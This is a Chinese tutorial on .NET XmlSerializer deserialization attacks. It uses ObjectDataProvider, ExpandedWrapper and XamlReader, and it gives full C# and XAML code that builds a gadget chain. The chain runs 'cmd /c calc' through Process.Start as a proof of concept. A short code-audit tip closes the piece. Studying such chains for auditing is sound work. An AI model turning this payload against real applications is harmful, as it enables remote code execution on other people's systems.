一、ObjectDataProvider类,处于System.Windows.Data命名空间下,封装于PresentationFramework.dll程序集下,主要作用就是把一个非静态类实例化后的对象作为数据源提供给WPF控件绑定,主要有3种用法:
1、通过C#typeof获得实例化后类的类型信息,代码如下弹出Calc.exe:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace objdatapro
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = typeof(System.Diagnostics.Process)
};
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.MethodName = "Start";
}
}
}
执行结果:
2、使用Object.GetType()返回当前对象的type实例,代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace objdatapro2
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = new System.Diagnostics.Process().GetType()
};
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.MethodName="Start";
}
}
}
执行结果如下:
3、通过Type类的静态成员 GetType获得对象的type实例较为复杂,可自行研究这里不做示范
二、ObjectDataProvider类在反序列化种的实际运用
先定义一个TestClass类,然后给TestClass类定义一个Classmethod方法,该方法调用System.Diagnostics.Process来执行命令,然后通过objectDataProvider获得TestClass类的实例化对象,然后通过获得的实例化对象调用Classmethod方法来执行命令:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace objdatapro3
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public class TestClass {
private string Classname;
private string name;
public string ClassName { get => Classname; set => Classname = value; }
public string Name { get => name; set => name = value; }
public override string ToString()
{
return base.ToString();
}
public void Classmethod(string cmd) {
System.Diagnostics.Process ie = new System.Diagnostics.Process();
ie.StartInfo.FileName = cmd;
ie.Start();
}
}
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = new TestClass();
objectDataProvider.MethodName = "Classmethod";
objectDataProvider.MethodParameters.Add("calc.exe");
}
}
}
在结合xml序列化和反序列化的相关知识,不懂得可参考《.Net--Xml序列化和反序列化Demo 》,直接把ObjectDataProvider类序列化为xml文件,即可创建漏洞利用链,但实际情况下如果用XmlSerializer直接序列化会抛出异常,因为在序列化过程中ObjectInstance这个成员类型未知,不过可以使用ExpandedWrapper扩展类在系统内部预先加载TestClass来避免异常错误,改写Demo
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml.Serialization;
using System.Data.Services.Internal;
namespace objdatapro3
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public class TestClass {
private string Classname;
private string name;
public string ClassName { get => Classname; set => Classname = value; }
public string Name { get => name; set => name = value; }
public override string ToString()
{
return base.ToString();
}
public void Classmethod(string cmd) {
System.Diagnostics.Process ie = new System.Diagnostics.Process();
ie.StartInfo.FileName = cmd;
ie.Start();
}
}
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
// ObjectDataProvider objectDataProvider = new ObjectDataProvider();
//objectDataProvider.ObjectInstance = new TestClass();
//objectDataProvider.MethodName = "Classmethod";
//objectDataProvider.MethodParameters.Add("calc.exe");
//FileStream fileStream = File.OpenWrite(@"C:\\programdata\XmlDescr_demo.test");
//using (TextWriter write = new StreamWriter(fileStream)) {
//XmlSerializer serializer = new XmlSerializer(typeof(ObjectDataProvider));
//serializer.Serialize(write, objectDataProvider);
//}
ExpandedWrapper<TestClass, ObjectDataProvider> wrapp = new ExpandedWrapper<TestClass, ObjectDataProvider>();
wrapp.ProjectedProperty0 = new ObjectDataProvider();
wrapp.ProjectedProperty0.ObjectInstance = new TestClass();
wrapp.ProjectedProperty0.MethodName = "Classmethod";
wrapp.ProjectedProperty0.MethodParameters.Add("calc.exe");
XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
TextWriter textWriter = new StreamWriter(@"C:\\programdata\xmldex_demo.xml");
serializer.Serialize(textWriter, wrapp);
textWriter.Close();
}
}
}
这里有的环境会提示引入ExpandedWrapper出错,需要安装ExpandedWrapper的程序集
到这里攻击链的第一步基本完成,但在生产环境中我们不太可能找到一个TestClass这样的类来执行命令只能想办法调用系统类来执行命令。
三、ResourceDictionary是WPF应用程序中最常用的类型之一,它用于提供一个方便的方式来定义和管理应用程序的资源,通过ResourceDictionary,我们可以将资源集中地定义并可以轻松地在应用程序中访问这些资源。
在WPF中,XAML文件是描述界面和资源的一种标记语言,常见包含窗口、页面、控件等组件的结构和事件。ResourceDictionary可以存在于XAML文件中,也可以以代码的形式在C#文件中定义。
ResourceDictionary以键值对的形式存储,键(key)是一个字符串,每个值(value)可以是任意对象。它还支持添加、移除和查找资源。我们可以在XAMl中定义命令执行,然后通过XamlReader这个系统类来解析执行,然后再通过ObjectDataProvider实例化调用XamlReader来执行命令构建完整的利用链,这样我们就可以不用创建TestClass类。
1、通过XmalReader解析Xaml实现命令执行demo
创建Xmal文件TestDemo.xaml
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=system"
>
<ObjectDataProvider x:Key="RunCmdShell" ObjectType="{x:Type Runtime:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
调用XamlReader解析Xaml
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace objdatapro4
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
string xml = File.ReadAllText("G:\\project\\class7\\objdatapro4\\TestDemo.xaml");
XamlReader.Parse(xml);
}
}
}
对代码进行修改,通过ObjectDataProvider的ObjectInstance获得XmalReader的实例,再指定MethodName为Parse,并且给MethodParameters传递序列化之后的资源字典数据,这样就可以完成XmlSerializer反序列化攻击链的打造。
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace objdatapro4
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
string xml = File.ReadAllText("G:\\project\\class7\\objdatapro4\\TestDemo.xaml");
///XamlReader.Parse(xml);
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = new XamlReader();
objectDataProvider.MethodName = "Parse";
objectDataProvider.MethodParameters.Add(xml);
}
}
}
从代码审计角度来说,重点关注是否有xml deserializer,然后还有一个必要条件是否传入了Type类型的参数且可控制该参数,因为在序列化或者反序列化Xml的过程中必须通过type类的方法如typeof、object.Type、Type.GetType来获得序列化或反序列后的类的基本信息。